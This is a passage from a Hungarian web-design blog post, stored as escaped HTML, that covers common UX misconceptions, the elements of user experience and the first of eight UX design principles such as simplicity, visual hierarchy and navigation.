megold\u00e1sokb\u00f3l levont hib\u00e1s k\u00f6vetkeztet\u00e9sig terjed.<\/p>\n\n\n\n<h4>1. A UX csak egy lehet\u0151s\u00e9g<\/h4>\n\n\n\n<p>Tal\u00e1n a legfontosabb dolog annak meg\u00e9rt\u00e9se, hogy felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny minden esetben l\u00e9tezik, ha valaki megl\u00e1togat p\u00e9ld\u00e1ul egy weboldalt, haszn\u00e1l egy term\u00e9ket, kapcsolatba ker\u00fcl egy c\u00e9ggel. Legfeljebb az lehets\u00e9ges, hogy ez a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny nincs megtervezve.<\/p>\n\n\n\n<h4>2. A felhaszn\u00e1l\u00f3k racion\u00e1lis d\u00f6nt\u00e9seket hoznak<\/h4>\n\n\n\n<p>A legt\u00f6bb \u00fczlet buk\u00e1s\u00e1t az eredm\u00e9nyezi, hogy abb\u00f3l indult ki: a felhaszn\u00e1l\u00f3k racion\u00e1lisan gondolkodnak. Hab\u00e1r lehet, hogy a t\u00e9nyek \u00e9sszer\u0171 figyelembev\u00e9tel\u00e9vel a Te term\u00e9kedet kellene v\u00e1lasztani a fogyaszt\u00f3knak, \u0151k gyakran m\u00e9gsem ezt teszik. Az emberi d\u00f6nt\u00e9seket sokszor szubjekt\u00edv, \u00e9sszer\u0171tlen megfontol\u00e1sok befoly\u00e1solj\u00e1k, melyekkel sz\u00e1molni kell a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny megtervez\u00e9s\u00e9n\u00e9l.<\/p>\n\n\n\n<h4>3. Azt hiszed, hogy \u00e9rted a felhaszn\u00e1l\u00f3t<\/h4>\n\n\n\n<p>Tal\u00e1n a leggyakoribb t\u00e9vhit, hogy azt hissz\u00fck, \u00e9rtj\u00fck a felhaszn\u00e1l\u00f3t, tudjuk, mit szeretn\u00e9nek, \u00e9s hogy mit v\u00e1rnak a c\u00e9gt\u0151l. Ez\u00e9rt van sz\u00fcks\u00e9g tesztekre, vil\u00e1gos, \u00f6sszehasonl\u00edthat\u00f3, t\u00e9nyszer\u0171 adatok \u00f6sszegy\u0171jt\u00e9s\u00e9re. A felhaszn\u00e1l\u00f3idat csak m\u00e9lyrehat\u00f3 kutat\u00e1sok r\u00e9v\u00e9n \u00e9rtheted meg. Ha csak felt\u00e9telez\u00e9seid vannak arr\u00f3l, hogy mire van sz\u00fcks\u00e9ge a felhaszn\u00e1l\u00f3idnak, akkor nem nekik, hanem magadnak tervezel.<\/p>\n\n\n\n<h4>4. A UX design a webdesign egy t\u00edpusa<\/h4>\n\n\n\n<p>Sokan \u00fagy tekintenek a UX designra, mint valami csodaszerre a weboldaluk probl\u00e9m\u00e1inak megold\u00e1s\u00e1hoz. Pedig a UX designnak egyr\u00e9szt az eg\u00e9sz designfolyamatot meg kell hat\u00e1roznia, m\u00e1sr\u00e9szt b\u0151ven azon t\u00fal is \u00e9rv\u00e9nyes\u00fclnie kell. A user experience teh\u00e1t komoly szerepet j\u00e1tszik a webdesignban, ugyanakkor jelent\u0151s\u00e9ge t\u00falmutat a weben, \u00e9s behatol egy c\u00e9g tev\u00e9kenys\u00e9g\u00e9nek minden r\u00e9sz\u00e9be, k\u00fcl\u00f6n\u00f6sen pedig azokba a r\u00e9szekbe, melyekn\u00e9l kapcsolatba ker\u00fcl a vev\u0151ivel.<\/p>\n\n\n\n<h4>5. A UX csak usability<\/h4>\n\n\n\n<p>Mik\u00f6zben a usability, vagyis a haszn\u00e1lhat\u00f3s\u00e1g az egyik legfontosabb r\u00e9sze minden UX designnak \u00e9s webdesignnak, mellette m\u00e1s fontos t\u00e9nyez\u0151ket is figyelembe kell venni. Az el\u0151z\u0151 fejezetben m\u00e1r ejtett\u00fcnk p\u00e1r sz\u00f3t a usabilityn t\u00fali ter\u00fcletekr\u0151l.<\/p>\n\n\n\n<h4>6. A UX egyszeri dolog<\/h4>\n\n\n\n<p>Az egyik leggyakoribb t\u00e9vhit a UX design kapcs\u00e1n, hogy az egy egyszeri munka, amit el kell v\u00e9gezni, azt\u00e1n t\u00f6bbet nem is kell vele foglalkozni. Mivel azonban a vil\u00e1g folyamatosan v\u00e1ltozik k\u00f6r\u00fcl\u00f6tt\u00fcnk \u00e9s folyamatosan fejl\u0151dni kell, ez\u00e9rt sz\u00fcks\u00e9g van a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny \u00e1lland\u00f3 vizsg\u00e1lat\u00e1ra \u00e9s optimaliz\u00e1l\u00e1s\u00e1ra. Amikor egy c\u00e9g kivitelez egy UX designt, akkor az egy UX strat\u00e9gia elfogad\u00e1s\u00e1t is jelenti, \u00e9s minden k\u00e9s\u0151bbi d\u00f6nt\u00e9snek visszavezethet\u0151nek kell lennie erre a strat\u00e9gi\u00e1ra.<\/p>\n\n\n\n<h4>7. A UX design az \u00faj technol\u00f3gi\u00e1kr\u00f3l sz\u00f3l<\/h4>\n\n\n\n<p>Sz\u00e1mos c\u00e9get elk\u00e1pr\u00e1ztatnak az \u00fajonnan kibontakoz\u00f3 technol\u00f3gi\u00e1k \u00e1ltal ny\u00fajtott lehet\u0151s\u00e9gek. De csak az\u00e9rt, mert egy \u00faj technol\u00f3gia el\u00e9rhet\u0151v\u00e9 v\u00e1lt, m\u00e9g nem musz\u00e1j alkalmazni, k\u00fcl\u00f6n\u00f6sen nem, amikor UX designr\u00f3l van sz\u00f3. A technol\u00f3gia csak akkor lehet j\u00f3 eszk\u00f6z a c\u00e9ljaink el\u00e9r\u00e9s\u00e9re, ha \u00e1ltala jav\u00edtani lehet a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt. Ha nem ezt a c\u00e9lt szolg\u00e1lja, akkor id\u0151pocs\u00e9kol\u00e1s az \u00faj technol\u00f3gi\u00e1k haszn\u00e1lata.<\/p>\n\n\n\n<p>A UX design a felhaszn\u00e1l\u00f3r\u00f3l sz\u00f3l, akinek viszont sokszor sem ideje, sem kedve nincs az \u00faj dolgok megtanul\u00e1s\u00e1hoz. Az \u00faj technol\u00f3gi\u00e1kat teh\u00e1t csak akkor szabad haszn\u00e1lni, ha z\u00f6kken\u0151mentesen \u00e1t lehet \u00e1llni azokra, \u00e9s nem zavarj\u00e1k meg a felhaszn\u00e1l\u00f3inkat.<\/p>\n\n\n\n<h4>\u00d6sszefoglalva<\/h4>\n\n\n\n<p>Hab\u00e1r mostan\u00e1ban egyre t\u00f6bben felismerik, hogy a UX design egy elengedhetetlen dolog, sokan \u00fagy tekintenek r\u00e1, mint ami puszt\u00e1n a weboldal megtervez\u00e9s\u00e9nek r\u00e9sze. Ez azonban nem igaz. A UX ugyanis egy mindent mag\u00e1ba foglal\u00f3 megk\u00f6zel\u00edt\u00e9s, amelynek a c\u00e9g m\u0171k\u00f6d\u00e9s\u00e9nek minden ter\u00fclet\u00e9n \u00e9rv\u00e9nyes\u00fclnie kell a webdesignt\u00f3l kezdve eg\u00e9szen az \u00fcgyf\u00e9lszolg\u00e1latig.<\/p>\n\n\n\n<p>Ha p\u00e9ld\u00e1ul van egy web\u00e1ruh\u00e1zad, akkor a UX design nem csak arr\u00f3l sz\u00f3l, hogy a felhaszn\u00e1l\u00f3k val\u00f3di ig\u00e9nyeinek megfelel\u0151en tervezd meg a web\u00e1ruh\u00e1zat, de beletartozik p\u00e9ld\u00e1ul az \u00e1ruk visszav\u00e9tel\u00e9nek folyamata is. Egy blog \u00edr\u00e1s\u00e1n\u00e1l a UX design alkalmaz\u00e1s\u00e1n\u00e1l annyi figyelmet kell kapnia a leiratkoz\u00e1si folyamatnak, mint a te bejelentkez\u00e9sednek a rendszerbe.<\/p>\n\n\n\n<p>A legfontosabb pedig annak meg\u00e9rt\u00e9se, hogy m\u00e1r most is l\u00e9tezik user experience a weboldaladn\u00e1l, csak az okosabb c\u00e9gek gondosan megtervezik ezt a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt, m\u00edg a t\u00f6bbiek kihagyj\u00e1k ezt a lehet\u0151s\u00e9get.<\/p>\n\n\n\n<h2>A UX elemei<\/h2>\n\n\n\n<p>User experience-nek a felhaszn\u00e1l\u00f3i interakci\u00f3k \u00f6sszess\u00e9g\u00e9t tekintj\u00fck. Ilyen interakci\u00f3k p\u00e9ld\u00e1ul egy weboldal megl\u00e1togat\u00e1sa, illetve azon egy bizonyos c\u00e9l el\u00e9r\u00e9se (megrendel\u00e9s, v\u00e1s\u00e1rl\u00e1s, inform\u00e1ci\u00f3szerz\u00e9s, let\u00f6lt\u00e9s, stb.) k\u00f6zben keletkeznek. Azt kell ezekn\u00e9l megvizsg\u00e1lni, hogy a felhaszn\u00e1l\u00f3 mennyire hat\u00e9konyan – \u00e9s ek\u00f6zben milyen \u00e9lm\u00e9nyeket szerezve – k\u00e9pes el\u00e9rni a c\u00e9lt egy weboldalon, vagy egy term\u00e9ket haszn\u00e1lva. A l\u00e9nyeg az, hogy a folyamat sor\u00e1n ne mer\u00fcljenek fel hib\u00e1k, ne \u00fctk\u00f6zz\u00f6n akad\u00e1lyokba, ne tal\u00e1lkozzon olyan jelens\u00e9gekkel, melyek t\u00f6nkretehetn\u00e9k az \u201c\u00e9lm\u00e9nyt\u201d.<\/p>\n\n\n\n<p>Emiatt a UX design mindig abb\u00f3l indul ki, hogy<\/p>\n\n\n\n<ul><li>kik is a felhaszn\u00e1l\u00f3i,<\/li><li>mi\u00e9rt is \u0151k azok,<\/li><li>mi m\u0171k\u00f6dik az oldalon \u00e9s mi nem,<\/li><li>hogyan alakul a felhaszn\u00e1l\u00f3k kapcsolata az adott weboldallal vagy term\u00e9kkel.<\/li><\/ul>\n\n\n\n<p>Ezut\u00e1n megk\u00e9rdezik az embereket arr\u00f3l, hogy mit lehetne jav\u00edtani a designon, valamint elv\u00e9geznek k\u00fcl\u00f6nf\u00e9le teszteket, hogy min\u00e9l t\u00f6bbet megtudjanak a felhaszn\u00e1l\u00f3k viselked\u00e9s\u00e9r\u0151l. De milyen \u00f6sszetev\u0151i is vannak a felhaszn\u00e1l\u00f3 \u00e9lm\u00e9ny tervez\u00e9s\u00e9nek, hogy a haszn\u00e1lat kell\u0151en hat\u00e9kony \u00e9s \u00e9lvezetes legyen az emberek sz\u00e1m\u00e1ra?<\/p>\n\n\n\n<h4>Haszn\u00e1lhat\u00f3s\u00e1g<\/h4>\n\n\n\n<p>Haszn\u00e1lhat\u00f3s\u00e1g helyett tal\u00e1n gyakrabban hallott kifejez\u00e9s a usability, mely a legfontosabb eleme a UX-nek. L\u00e9nyege, hogy a weboldalnak mindenki \u00e1ltal k\u00f6nnyen \u00e9s j\u00f3l haszn\u00e1lhat\u00f3nak kell lennie. Amennyiben a haszn\u00e1lhat\u00f3s\u00e1g k\u00f6vetelm\u00e9nye nem teljes\u00fcl, akkor m\u00e1ris elbukik a c\u00e9l el\u00e9r\u00e9s\u00e9ben felhaszn\u00e1l\u00f3. A haszn\u00e1lhat\u00f3s\u00e1g p\u00e9ld\u00e1ul azonnal megszakad, ha nem m\u0171k\u00f6d\u0151, hiba\u00fczeneteket k\u00fcld\u00f6zget\u0151, t\u00f6r\u00f6tt linkeket tartalmaz\u00f3, vagy \u00e9ppen tartalom n\u00e9lk\u00fcli oldallal tal\u00e1lkozik a felhaszn\u00e1l\u00f3.<\/p>\n\n\n\n<p>A usability alapvet\u0151en a navig\u00e1ci\u00f3val, a weboldal fel\u00e9p\u00edt\u00e9s\u00e9vel \u00e9s a tartalom elrendez\u00e9s\u00e9vel azonos. Ide\u00e1lis esetben<\/p>\n\n\n\n<ul><li>a navig\u00e1ci\u00f3nak logikusnak kell lennie,<\/li><li>a linkeknek a megfelel\u0151 tartalomra kell mutatniuk,<\/li><li>mik\u00f6zben a call to action-\u00f6k kell\u0151k\u00e9ppen hat\u00e9konyak,<\/li><li>a c\u00edmsorok pontosak \u00e9s l\u00e9nyegret\u00f6r\u0151ek,<\/li><li>a men\u00fck pedig ir\u00e1nyt mutatva v\u00e9gigvezetik a felhaszn\u00e1l\u00f3t az oldalon.<\/li><\/ul>\n\n\n\n<p>De arra is figyelni kell, hogy a t\u00fal kev\u00e9s vagy \u00e9pp a t\u00fal sok tartalom t\u00f6nkreteheti a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt, \u00e9s \u00edgy az emberek otthagyhatj\u00e1k az oldalt.<\/p>\n\n\n\n<h4>El\u00e9rhet\u0151s\u00e9g<\/h4>\n\n\n\n<p>Amellett, hogy egy tartalom kell\u0151k\u00e9ppen hasznos \u00e9s logikusan szervezett, az is sz\u00fcks\u00e9ges, hogy mindenki \u00e1ltal hozz\u00e1f\u00e9rhet\u0151 legyen. Ez nem csak azt jelenti, hogy a weboldalnak ne legyenek hib\u00e1i, nem m\u0171k\u00f6d\u0151 oldalai, hanem azt is, hogy a bet\u00f6lt\u00e9si id\u0151 \u00e9s a v\u00e1laszid\u0151 kell\u0151en r\u00f6vid legyen. Emellett vegye figyelembe a b\u00f6ng\u00e9sz\u0151k \u00e9s az eszk\u00f6z\u00f6k lehet\u0151s\u00e9geit annak \u00e9rdek\u00e9ben, hogy mindenki sz\u00e1m\u00e1ra biztos\u00edtsa az oldal el\u00e9rhet\u0151s\u00e9g\u00e9t.<\/p>\n\n\n\n<p>Ehhez jav\u00edtani kell a rossz linkeket, megoldani a hib\u00e1kat, optimaliz\u00e1lni a sebess\u00e9get. Ugyanakkor azok sz\u00e1m\u00e1ra is biztos\u00edtani kell az oldal haszn\u00e1lat\u00e1t, akik valamif\u00e9le fogyat\u00e9koss\u00e1ggal rendelkeznek (vakok, sz\u00ednvakok, rosszul vagy egy\u00e1ltal\u00e1n nem hallanak, illetve nem tudj\u00e1k a technikai eszk\u00f6z\u00f6ket a megszokott m\u00f3don kezelni).<\/p>\n\n\n\n<h4>Megtal\u00e1lhat\u00f3s\u00e1g<\/h4>\n\n\n\n<p>Ha m\u00e1r van egy weboldalunk \u00e9s annak van egy tartalma, akkor azt a felhaszn\u00e1l\u00f3knak meg is kell tal\u00e1lniuk. Ehhez kell a marketing, a rekl\u00e1m, mert \u00edgy el\u00e9rhet\u0151k azok, akik m\u00e9g nem hallottak a weboldalr\u00f3l. De egy megjegyezhet\u0151 n\u00e9v is sokat seg\u00edt abban, hogy a felhaszn\u00e1l\u00f3k k\u00f6nnyen visszatal\u00e1ljanak az oldalra.<\/p>\n\n\n\n<p>Ide tartozik a keres\u0151optimaliz\u00e1l\u00e1s is, els\u0151sorban az, hogy a megfelel\u0151 kulcsszavakra k\u00f6nnyen megtal\u00e1lj\u00e1k weboldalunkat az inform\u00e1ci\u00f3t keres\u0151k. A SEO egy folyamatos tev\u00e9kenys\u00e9g, mivel a tartalmunk folyamatosan b\u0151v\u00fcl, r\u00e1ad\u00e1sul az algoritmusok \u00e1lland\u00f3an v\u00e1ltoznak.<\/p>\n\n\n\n<h4>Hasznoss\u00e1g<\/h4>\n\n\n\n<p>A weboldalak tulajdonosainak a legt\u00f6bb esetben fel kellene tenni\u00fck a k\u00e9rd\u00e9st, hogy vajon hasznosak-e az oldalak az oda \u00e9rkez\u0151 felhaszn\u00e1l\u00f3k sz\u00e1m\u00e1ra. \u00c9s hab\u00e1r erre sokan v\u00e1laszolnak igennel, a val\u00f3s\u00e1gban sokkal kev\u00e9sb\u00e9 hasznosak az emberek sz\u00e1m\u00e1ra, mint azt rem\u00e9lni szeretn\u00e9k. Sokszor el\u0151fordul, hogy a c\u00e9ges oldalak nagyon kev\u00e9s vagy szinte semmi inform\u00e1ci\u00f3t nem szolg\u00e1ltatnak a l\u00e1togat\u00f3knak. Ami tulajdonk\u00e9ppen egyet jelent azzal, hogy feleslegesen l\u00e9teznek.<\/p>\n\n\n\n<p>A weboldal tartalm\u00e1nak informat\u00edvnak, de jelent\u0151s\u00e9ggel rendelkez\u0151nek kell lennie, vagyis kell\u0151en egyedinek, a t\u00f6bbiekt\u0151l k\u00fcl\u00f6nb\u00f6z\u0151nek. Biztos\u00edtania kell a felhaszn\u00e1l\u00f3k el\u00e9gedetts\u00e9g\u00e9t azzal, hogy megtal\u00e1lhatj\u00e1k rajta azt, amit keresnek. Figyelni kell arra is, hogy ne ess\u00fcnk t\u00falz\u00e1sokba a linkekkel, k\u00e9pekkel vagy vide\u00f3kkal. \u00c9s meg kell tal\u00e1lni a k\u00f6z\u00e9putat az \u00e9rt\u00e9kes \u00e9s a zavar\u00f3 tartalom k\u00f6z\u00f6tt.<\/p>\n\n\n\n<h4>Vonz\u00f3s\u00e1g<\/h4>\n\n\n\n<p>Egy weboldal \u201ck\u00edv\u00e1natoss\u00e1g\u00e1t\u201d \u00e1ltal\u00e1ban a vizu\u00e1lis elemek biztos\u00edtj\u00e1k, illetve az a m\u00f3d, ahogy ezen elemek felhaszn\u00e1l\u00e1s\u00e1val prezent\u00e1ljuk a tartalmat. Ide olyan t\u00e9nyez\u0151k tartoznak, mint a vide\u00f3k \u00e9s k\u00e9pek alkalmaz\u00e1sa, a tipogr\u00e1fia, a sz\u00ednek \u00e9s a sz\u00edns\u00e9m\u00e1k, a designelemek elrendez\u00e9se. Ezek befoly\u00e1solj\u00e1k azt, hogy egy felhaszn\u00e1l\u00f3 mennyire v\u00e1gyik egy oldal megl\u00e1togat\u00e1s\u00e1ra. A felhaszn\u00e1l\u00f3knak \u00e9rezni\u00fck kell, hogy egy weboldal kell\u0151en vonz\u00f3 \u00e9s bar\u00e1ts\u00e1gos, j\u00f3l elrendezett, k\u00f6nnyen olvashat\u00f3, \u00e9s a tartalom \u00f6sszef\u00fcgg a weboldal c\u00e9lj\u00e1val.<\/p>\n\n\n\n<p>A felhaszn\u00e1l\u00f3k akkor maradnak csak az oldalon, ha az kell\u0151en vonz\u00f3 ahhoz, hogy tov\u00e1bb olvassanak, fogyassz\u00e1k a tartalm\u00e1t. Ehhez a vizu\u00e1lis elemeken \u00e9s azok elrendez\u00e9s\u00e9n t\u00fal mag\u00e1val ragad\u00f3 sz\u00f6vegekre is sz\u00fcks\u00e9g van, melyek k\u00e9pesek fenntartani az olvas\u00f3k figyelm\u00e9t azt k\u00f6vet\u0151en is, hogy a vizu\u00e1lis elemek m\u00e1r megfogt\u00e1k \u0151ket.<\/p>\n\n\n\n<h4>Hiteless\u00e9g<\/h4>\n\n\n\n<p>A megfelel\u0151 felhaszn\u00e1l\u00f3 \u00e9lm\u00e9ny kialak\u00edt\u00e1s\u00e1hoz sz\u00fcks\u00e9g lesz arra is, hogy a weboldal bemutassa \u00e9s bizony\u00edtsa a felhaszn\u00e1l\u00f3k fel\u00e9 a hiteless\u00e9g\u00e9t. A felhaszn\u00e1l\u00f3knak tudniuk kell, hogy az oldalon tal\u00e1lhat\u00f3 inform\u00e1ci\u00f3k pontosak, hihet\u0151ek \u00e9s megb\u00edzhat\u00f3 forr\u00e1sb\u00f3l sz\u00e1rmaznak. Ennek \u00e9rdek\u00e9ben a tartalom nem mehet el t\u00fals\u00e1gosan abba az ir\u00e1nyba, hogy csak az \u00e9rt\u00e9kes\u00edt\u00e9st tartsa szem el\u0151tt, \u00e9s nem szabad megengedni, hogy a felhaszn\u00e1l\u00f3kban b\u00e1rmif\u00e9le kellemetlen \u00e9rz\u00e9s keletkezzen, esetleg \u00e1tverve vagy fenyegetve \u00e9rezz\u00e9k magukat.<\/p>\n\n\n\n<p>A hiteless\u00e9g \u00e9rdek\u00e9ben \u00fagy kell t\u00e1lalni az inform\u00e1ci\u00f3kat, ahogy azt az emberek elv\u00e1rj\u00e1k, a megjelen\u0151 tartalom \u00e9s annak hangneme is a term\u00e9k c\u00e9ljaihoz illeszkedjen, valamint, hogy lehet\u0151leg m\u00e1s, megb\u00edzhat\u00f3 forr\u00e1sok is meger\u0151s\u00edts\u00e9k azt. A hiteless\u00e9g kialak\u00edt\u00e1sa r\u00e9v\u00e9n \u00e9rhetj\u00fck el azt, hogy a felhaszn\u00e1l\u00f3k bizalma n\u00f6vekedjen a weboldal olvas\u00e1sa k\u00f6zben.<\/p>\n\n\n\n<h4>V\u00e9g\u00fcl: az elemek kombin\u00e1l\u00e1sa<\/h4>\n\n\n\n<p>Mindezen elemek felsorol\u00e1sa ut\u00e1n, m\u00e1r csak arra van sz\u00fcks\u00e9g, hogy egy weboldal k\u00e9sz\u00edt\u00e9se \u00e9s m\u0171k\u00f6dtet\u00e9se sor\u00e1n a megfelel\u0151 user experience el\u00e9r\u00e9se \u00e9rdek\u00e9ben ezeket alkalmazzuk \u00e9s illessz\u00fck \u00f6ssze. Ez persze nem egyszer\u0171. A user experience design alkalmaz\u00e1sa sok gyakorl\u00e1st \u00e9s folyamatos tanul\u00e1st ig\u00e9nyl\u0151 folyamat, \u00edgy ha val\u00f3ban alkalmazni akarjuk, akkor \u00e9rdemes komolyan elm\u00e9lyedni benne.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"495\" height=\"512\" src=\"http:\/\/blog.webshark.hu\/wp-content\/uploads\/2016\/11\/ux-design.jpg\" alt=\"User experience\" class=\"wp-image-1914\" srcset=\"http:\/\/blog.webshark.hu\/wp-content\/uploads\/2016\/11\/ux-design.jpg 495w, http:\/\/blog.webshark.hu\/wp-content\/uploads\/2016\/11\/ux-design-290x300.jpg 290w\" sizes=\"(max-width: 495px) 100vw, 495px\" \/><\/figure><\/div>\n\n\n\n<h2>8 alapvet\u0151 UX-elv<\/h2>\n\n\n\n<p>\u00cdme, 8 UX-elv, amit mindenk\u00e9ppen vegy\u00e9l figyelembe a weboldalad megtervez\u00e9s\u00e9n\u00e9l!<\/p>\n\n\n\n<h4>1. Egyszer\u0171s\u00e9g<\/h4>\n\n\n\n<p>Mik\u00f6zben fontos, mik\u00e9nt n\u00e9z ki a weboldalad, a felhaszn\u00e1l\u00f3k nem az\u00e9rt j\u00f6nnek, hogy gy\u00f6ny\u00f6rk\u00f6djenek benne. Az\u00e9rt \u00e9rkeznek, mert valamilyen eltervezett cselekv\u00e9st v\u00e9gre akarnak hajtani, esetleg valamilyen inform\u00e1ci\u00f3ra k\u00edv\u00e1ncsiak. Ha feleslegesen t\u00falzs\u00fafolod a weboldalad, akkor azzal csak megnehez\u00edted a felhaszn\u00e1l\u00f3k dolg\u00e1t.<\/p>\n\n\n\n<p>Figyelni kell az egyszer\u0171s\u00e9gre a sz\u00ednekkel kapcsolatban, melynek <a href=\"https:\/\/webshark.hu\/hirek\/szinek-a-weboldalon\/\" target=\"_blank\" rel=\"noopener\">egy komolyabb blogbejegyz\u00e9st is szentelt\u00fcnk m\u00e1r<\/a>. Ugyan\u00edgy a bet\u0171t\u00edpusokn\u00e1l is az egyszer\u0171s\u00e9gre kell t\u00f6rekedni: els\u0151sorban olvashat\u00f3nak kell lenni\u00fck, de arra is figyelj, hogy <a href=\"http:\/\/blog.webshark.hu\/2016\/05\/06\/betutipus-valasztasa\/\" target=\"_blank\" rel=\"noopener\">h\u00e1romn\u00e1l t\u00f6bb bet\u0171t\u00edpust ne haszn\u00e1lj<\/a>! Grafik\u00e1kat se alkalmazz feleslegesen a weboldaladon, csak akkor, ha az val\u00f3ban seg\u00edti a felhaszn\u00e1l\u00f3t feladata v\u00e9grehajt\u00e1s\u00e1ban.<\/p>\n\n\n\n<h4>2. Vizu\u00e1lis hierarchia<\/h4>\n\n\n\n<p>A vizu\u00e1lis hierarchia arra hivatott, hogy elrendezze az elemeket a weboldalon, \u00edgy a felhaszn\u00e1l\u00f3knak teljesen term\u00e9szetesen m\u00f3don a legfontosabb elemeken akadjon meg el\u0151sz\u00f6r a tekintet\u00fck. Amikor a haszn\u00e1lhat\u00f3s\u00e1g \u00e9s a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny optimaliz\u00e1l\u00e1s\u00e1r\u00f3l van sz\u00f3, akkor az abb\u00f3l a c\u00e9lb\u00f3l t\u00f6rt\u00e9nik, hogy az emberek egy eltervezett feladatot v\u00e9gre tudjanak hajtani, m\u00e9gpedig olyan m\u00f3don, ami teljesen term\u00e9szetesnek hat, \u00e9s \u00e9lvezetes sz\u00e1mukra.<\/p>\n\n\n\n<p>A poz\u00edci\u00f3k, a sz\u00ednek \u00e9s a m\u00e9retek seg\u00edts\u00e9g\u00e9vel tudod az elemeket a weboldaladon \u00fagy elrendezni, hogy a legfontosabb r\u00e9szekre mindenk\u00e9ppen r\u00e1pillantsanak az oldal \u00e1tfut\u00e1sa k\u00f6zben. Erre lehet j\u00f3 p\u00e9lda a Spotify oldala, ahol az ember szeme \u00e1ltal\u00e1ban a \u201cGet Spotify Free\u201d CTA-gombon akad meg, m\u00e9gpedig az\u00e9rt, mert egyr\u00e9szt bal oldalra van helyezve (\u00e9s az emberek tekintete balr\u00f3l jobbra halad a kijelz\u0151n), illetve az elt\u00e9r\u0151 lila sz\u00edn is kiemeli.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"1440\" height=\"697\" src=\"http:\/\/blog.webshark.hu\/wp-content\/uploads\/2016\/05\/spotify-vizualis-hierarchia.png\" alt=\"spotify-vizualis-hierarchia\" class=\"wp-image-1619\" srcset=\"http:\/\/blog.webshark.hu\/wp-content\/uploads\/2016\/05\/spotify-vizualis-hierarchia.png 1440w, http:\/\/blog.webshark.hu\/wp-content\/uploads\/2016\/05\/spotify-vizualis-hierarchia-300x145.png 300w, http:\/\/blog.webshark.hu\/wp-content\/uploads\/2016\/05\/spotify-vizualis-hierarchia-768x372.png 768w, http:\/\/blog.webshark.hu\/wp-content\/uploads\/2016\/05\/spotify-vizualis-hierarchia-1024x496.png 1024w\" sizes=\"(max-width: 1440px) 100vw, 1440px\" \/><\/figure><\/div>\n\n\n\n<h4>3. Navig\u00e1lhat\u00f3s\u00e1g<\/h4>\n\n\n\n<p>Az intuit\u00edvnak tekinthet\u0151 navig\u00e1lhat\u00f3s\u00e1g kialak\u00edt\u00e1sa abb\u00f3l a szempontb\u00f3l l\u00e9nyeges, hogy a felhaszn\u00e1l\u00f3k megtal\u00e1lj\u00e1k amit keresnek. Norm\u00e1lis esetben, amikor a felhaszn\u00e1l\u00f3 meg\u00e9rkezik a weboldaladra, akkor nem kezdi el t\u00f6rni azon a fej\u00e9t, hogy vajon hova is kellene kattintania. Ennek \u00e9rdek\u00e9ben<\/p>\n\n\n\n<ul><li>az els\u0151dleges navig\u00e1ci\u00f3t a lehet\u0151 legegyszer\u0171bbre kell szabni, \u00e9s a weboldal legfels\u0151 r\u00e9sz\u00e9n elhelyezni.<\/li><li>\u00c9rdemes megjelen\u00edteni egy navig\u00e1ci\u00f3s men\u00fct a l\u00e1bl\u00e9cben is.<\/li><li>A f\u0151oldal kiv\u00e9tel\u00e9vel <a href=\"http:\/\/blog.webshark.hu\/2015\/10\/15\/breadcrumbs-weboldalaknal\/\" target=\"_blank\" rel=\"noopener\">minden oldalon javasolt morzsamen\u00fct haszn\u00e1lni<\/a>, hogy az emberek tudj\u00e1k, merre j\u00e1rnak.<\/li><li>A weboldal tetej\u00e9n aj\u00e1nlott elhelyezni egy keres\u0151boxot, hogy az emberek kulcsszavak seg\u00edts\u00e9g\u00e9vel is keresni tudjanak.<\/li><li>Ugyanakkor t\u00fal sok navig\u00e1ci\u00f3s lehet\u0151s\u00e9get nem \u00e9rdemes az oldalra zs\u00fafolni.<\/li><li>Valamint nem szerencs\u00e9s t\u00fal sok szint\u0171 navig\u00e1ci\u00f3t haszn\u00e1lni, vagyis h\u00e1rom szintesn\u00e9l ne legyen \u00f6sszetettebb a men\u00fcrendszered.<\/li><li>A fels\u0151 navig\u00e1ci\u00f3s men\u00fcd minden oldalon ugyanott legyen, valamint a men\u00fcben szerepl\u0151 sz\u00f6vegek se v\u00e1ltozzanak oldalr\u00f3l-oldalra.<\/li><li>V\u00e9g\u00fcl: haszn\u00e1lj linkeket a sz\u00f6vegeidben, \u00e9s tedd vil\u00e1goss\u00e1 az emberek sz\u00e1m\u00e1ra, hogy ezek hova mutatnak!<\/li><\/ul>\n\n\n\n<h4>4. K\u00f6vetkezetess\u00e9g<\/h4>\n\n\n\n<p>Ha m\u00e1r a navig\u00e1ci\u00f3t kell\u0151en k\u00f6vetkezetesen alak\u00edtottad ki, akkor a weboldalaidnak is egyform\u00e1nak kell lennie, legal\u00e1bbis ami a h\u00e1tteret, a sz\u00edns\u00e9m\u00e1t, a bet\u0171t\u00edpusokat \u00e9s a sz\u00f6vegeid st\u00edlus\u00e1t illeti. Azt tal\u00e1n m\u00e1r mondani sem kell, hogy minden oldalad fel\u00e9p\u00edt\u00e9se legyen azonos. Akkor t\u00e9rj el csak a bevett layoutt\u00f3l, amikor valamilyen speci\u00e1lis, \u00f6n\u00e1ll\u00f3 oldalt k\u00e9sz\u00edtesz, p\u00e9ld\u00e1ul egy landing oldalt.<\/p>\n\n\n\n<h4>5. Hozz\u00e1f\u00e9rhet\u0151s\u00e9g<\/h4>\n\n\n\n<p>A comScore adatai szerint a tabletes internet-haszn\u00e1lat 30 sz\u00e1zal\u00e9kkal n\u0151tt 2013 \u00e9s 2015 k\u00f6z\u00f6tt. Ek\u00f6zben az okostelefonos nethaszn\u00e1lat 78 sz\u00e1zal\u00e9kkal emelkedett. Annak \u00e9rdek\u00e9ben, hogy a megfelel\u0151 felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt k\u00edn\u00e1ld valamennyi felhaszn\u00e1l\u00f3dnak, a weboldaladnak j\u00f3l kell megjelennie valamennyi eszk\u00f6z kijelz\u0151j\u00e9n.<\/p>\n\n\n\n<p>Ez azt jelenti, hogy olyan weboldal-kialak\u00edt\u00e1st kell haszn\u00e1lnod, ami kell\u0151en rugalmasan alkalmazkodik minden 